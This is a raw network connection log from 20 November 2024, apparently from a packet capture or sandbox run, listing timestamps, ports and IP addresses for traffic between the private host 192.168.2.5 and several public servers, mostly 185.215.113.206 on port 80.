Nov 20, 2024 08:09:23.726855040 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.726880074 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.726883888 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.726926088 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.728146076 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.728188038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.728200912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.728207111 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.728250027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.728250027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.728265047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.728276968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.728288889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.728311062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.728338957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748287916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748316050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748326063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748352051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748378992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748387098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748394966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748408079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748420954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748429060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748436928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748461962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748476982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748502970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748514891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748526096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748550892 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748574972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748631001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748642921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748661041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748675108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748682976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748714924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748861074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748873949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748884916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748895884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748908997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748914957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748934984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748945951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748946905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748959064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748971939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748977900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.748986959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.748994112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749001026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749008894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749037027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749077082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749089956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749094009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749114990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749119043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749130011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749135017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749150991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749154091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749172926 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749193907 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749311924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749322891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749334097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749349117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749350071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749365091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749366045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749397993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749408007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749417067 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749432087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749444008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749459982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749485970 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749532938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749543905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749555111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749567032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749577045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749605894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749861002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749871969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749882936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749893904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749907017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749912024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749922037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749933004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749941111 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749947071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749959946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749964952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.749973059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.749993086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750017881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750051022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750061989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750073910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750085115 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750088930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750102043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750127077 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750173092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750183105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750211000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750614882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750626087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750637054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750648975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750658035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750663042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750688076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750706911 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750740051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750751972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750763893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750777960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750783920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750792980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750813007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750828981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750838041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750849962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750859976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750873089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750881910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750886917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750897884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750912905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750912905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750927925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.750930071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750951052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.750977993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751184940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751195908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751208067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751219988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751223087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751238108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751239061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751250029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751266956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751291990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751293898 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751305103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751326084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751338959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751343966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751353979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751372099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751378059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751388073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751395941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751411915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751415968 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751424074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751436949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751449108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751467943 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751662970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751674891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751713991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751744032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751754999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751769066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751777887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751782894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751795053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751806974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751808882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.751847982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.751847982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.752074003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752085924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752096891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752106905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752119064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.752120018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752132893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752146006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.752149105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752163887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752163887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.752178907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752185106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.752191067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752203941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.752206087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752222061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752223969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.752233982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752248049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.752249956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.752268076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.752290010 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.772950888 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.773201942 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.773216009 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.774271011 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.774321079 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.775063992 CET	443	49836	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.775288105 CET	443	49833	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.777025938 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.777096033 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.777226925 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.777236938 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.777551889 CET	49833	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.777559996 CET	443	49833	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.777678013 CET	49836	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.777688980 CET	443	49836	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.778640985 CET	443	49833	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.778893948 CET	49833	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.779154062 CET	49833	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.779217958 CET	443	49836	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.779287100 CET	49833	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.779299974 CET	443	49833	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.779336929 CET	49836	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.779405117 CET	443	49833	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.779560089 CET	49836	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.779645920 CET	443	49836	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.779680014 CET	49836	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.781459093 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:23.781486034 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:23.781522036 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:23.781549931 CET	49789	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:23.781558990 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:23.781589031 CET	49789	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:23.781613111 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:23.781626940 CET	49789	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:23.781692028 CET	443	49834	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.781693935 CET	49789	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:23.782844067 CET	49834	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.782866001 CET	443	49834	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.783478022 CET	443	49834	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.786010981 CET	49834	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.786010981 CET	49834	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.786029100 CET	443	49834	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.786096096 CET	443	49834	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.794071913 CET	443	49838	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.805181980 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.809552908 CET	443	49829	152.195.19.97	192.168.2.5
Nov 20, 2024 08:09:23.814150095 CET	49829	443	192.168.2.5	152.195.19.97
Nov 20, 2024 08:09:23.814174891 CET	443	49829	152.195.19.97	192.168.2.5
Nov 20, 2024 08:09:23.814572096 CET	49837	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.814591885 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.815273046 CET	49838	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.815294981 CET	443	49838	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.815728903 CET	443	49829	152.195.19.97	192.168.2.5
Nov 20, 2024 08:09:23.815799952 CET	49829	443	192.168.2.5	152.195.19.97
Nov 20, 2024 08:09:23.816509962 CET	443	49838	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.816634893 CET	49838	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.816927910 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.817012072 CET	49837	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.818325996 CET	49838	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.818403959 CET	443	49838	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.818788052 CET	49829	443	192.168.2.5	152.195.19.97
Nov 20, 2024 08:09:23.818931103 CET	443	49829	152.195.19.97	192.168.2.5
Nov 20, 2024 08:09:23.819333076 CET	49837	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.819504023 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.820486069 CET	49838	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.820493937 CET	443	49838	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.820547104 CET	49829	443	192.168.2.5	152.195.19.97
Nov 20, 2024 08:09:23.820555925 CET	443	49829	152.195.19.97	192.168.2.5
Nov 20, 2024 08:09:23.820638895 CET	49837	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.820647001 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.826338053 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.827337027 CET	443	49836	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.827675104 CET	443	49830	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:23.833106995 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.834819078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.834835052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.834855080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.834867954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.834881067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.834887028 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.834925890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.834950924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835000038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835015059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835015059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835031033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835046053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835135937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835150003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835160971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835167885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835174084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835187912 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835191011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835206985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835227966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835227966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835242987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835264921 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835283995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835298061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835393906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835393906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835423946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835434914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835448027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835458994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835468054 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835474968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835494995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835514069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835602045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835618019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835628986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835642099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835642099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835656881 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835659981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835669041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835680962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835688114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835696936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835706949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835735083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835891962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835902929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835912943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835922956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835936069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835939884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835947990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835956097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835971117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835972071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835984945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.835997105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.835999966 CET	80	49765	185.215.113.206	192.168.2.5
